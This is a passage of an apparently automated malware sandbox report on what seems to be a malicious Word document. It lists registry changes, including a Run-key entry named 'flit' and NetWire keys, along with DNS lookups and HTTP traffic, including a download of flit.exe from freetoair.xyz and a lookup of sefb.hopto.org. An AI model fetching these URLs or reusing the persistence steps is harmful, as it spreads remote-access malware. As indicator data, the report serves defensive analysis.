    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsManaged",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsRemovable",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceOwner",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SortOrder",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SupportsMultiple",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Description",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Name",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceId",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceUrl",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url16x16",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url32x32",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url48x48",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Capabilities",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ConnectMechanism",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsManaged",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsRemovable",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceOwner",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SortOrder",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SupportsMultiple",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\CapabilitiesMetadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Description",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Name",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceId",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceUrl",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\KeyTip",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\RegularExpression",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\Type",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url16x16",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url32x32",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url48x48",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingConfigurableSettings",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastSyncTime",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastWriteTime",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\OUTLOOKFiles",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\General\\LastAutoSavePurgeTime",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Security\\Trusted Documents\\LastPurgeTime",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090434",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457503",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033917",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457510",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001105",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033919",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457464",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457475",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033925",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033927",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457485",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033937",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001106",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033921",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457444",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090430",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457515",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457496",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033929",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457491",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001103",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001104",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328925",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328919",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328884",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328951",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328998",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328990",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328986",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328972",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328940",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328935",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328975",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328932",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328908",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328916",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328983",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM02835233",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM01840907",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851222",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851223",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851221",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851224",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851226",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851220",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851227",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851219",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851216",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851218",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851217",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851225",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998159",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328893",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998158",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328905",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Licensing\\09D07EFC505F4D9CBFD5ACE3217F6654",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\ProductFiles",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\NextUpdate",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\LastUpdate",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\NextUpdate",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\LastUpdate",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\NextUpdate",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\LastUpdate",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\NextUpdate",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\LastUpdate",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100A0C00000000000F01FEC\\Usage\\SpellingAndGrammarFiles_3082",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100C0400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1036",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F10090400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1033",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Toolbars\\Settings\\Microsoft Word",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\File Path",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\Datetime",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\Position",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Data\\Settings",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Options\\BackgroundOpen",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTF",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTA",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Feedback\\AppUsageData_1",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\flit",
    "HKEY_CURRENT_USER\\SOFTWARE\\NetWire",
    "HKEY_CURRENT_USER\\Software\\NetWire\\HostId",
    "HKEY_CURRENT_USER\\Software\\NetWire\\Install Date"


* Deleted Registry Keys:
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\-e",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\*|",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\F4A9F8\\F4A9F8",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTT",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\flit"


* DNS Communications:

        "type": "A",
        "request": "freetoair.xyz",
        "answers":

                "data": "129.226.56.130",
                "type": "A"




        "type": "A",
        "request": "sefb.hopto.org",
        "answers":

                "data": "88.208.246.135",
                "type": "A"





* Domains:

        "ip": "129.226.56.130",
        "domain": "freetoair.xyz"


        "ip": "88.208.246.135",
        "domain": "sefb.hopto.org"



* Network Communication - ICMP:

* Network Communication - HTTP:

        "count": 1,
        "body": "",
        "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
        "user-agent": "Microsoft-CryptoAPI/6.1",
        "method": "GET",
        "host": "ocsp.digicert.com",
        "version": "1.1",
        "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
        "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
        "port": 80


        "count": 1,
        "body": "",
        "uri": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
        "user-agent": "Microsoft-CryptoAPI/6.1",
        "method": "GET",
        "host": "ocsp.msocsp.com",
        "version": "1.1",
        "path": "/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
        "data": "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 17:46:18 GMT\r\nIf-None-Match: \"dd54d75d4688b8dc62b087df4e04af258704c48b\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.msocsp.com\r\n\r\n",
        "port": 80


        "count": 1,
        "body": "",
        "uri": "http://freetoair.xyz/flit.exe",
        "user-agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)",
        "method": "GET",
        "host": "freetoair.xyz",
        "version": "1.1",
        "path": "/flit.exe",
        "data": "GET /flit.exe HTTP/1.1\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)\r\nHost: freetoair.xyz\r\nConnection: Keep-Alive\r\n\r\n",
        "port": 80


        "count": 4,
        "body": "",
        "uri": "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl",
        "user-agent": "Microsoft-CryptoAPI/6.1",
        "method": "GET",
        "host": "crl.microsoft.com",
        "version": "1.1",
        "path": "/pki/crl/products/microsoftrootcert.crl",
        "data": "GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 07 Mar 2019 06:00:16 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
        "port": 80


        "count": 2,
        "body": "",
        "uri": "http://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
        "user-agent": "Microsoft-CryptoAPI/6.1",
        "method": "GET",
        "host": "crl.microsoft.com",
        "version": "1.1",
        "path": "/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
        "data": "GET /pki/crl/products/MicCodSigPCA_08-31-2010.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 14 Feb 2019 06:01:18 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
        "port": 80


        "count": 1,
        "body": "",
        "uri": "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl",
        "user-agent": "Microsoft-CryptoAPI/6.1",
        "method": "GET",
        "host": "crl.microsoft.com",
        "version": "1.1",
        "path": "/pki/crl/products/microsoftrootcert.crl",
        "data": "GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Wed, 22 May 2019 05:00:43 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
        "port": 80



* Network Communication - SMTP:

* Network Communication - Hosts:

* Network Communication - IRC: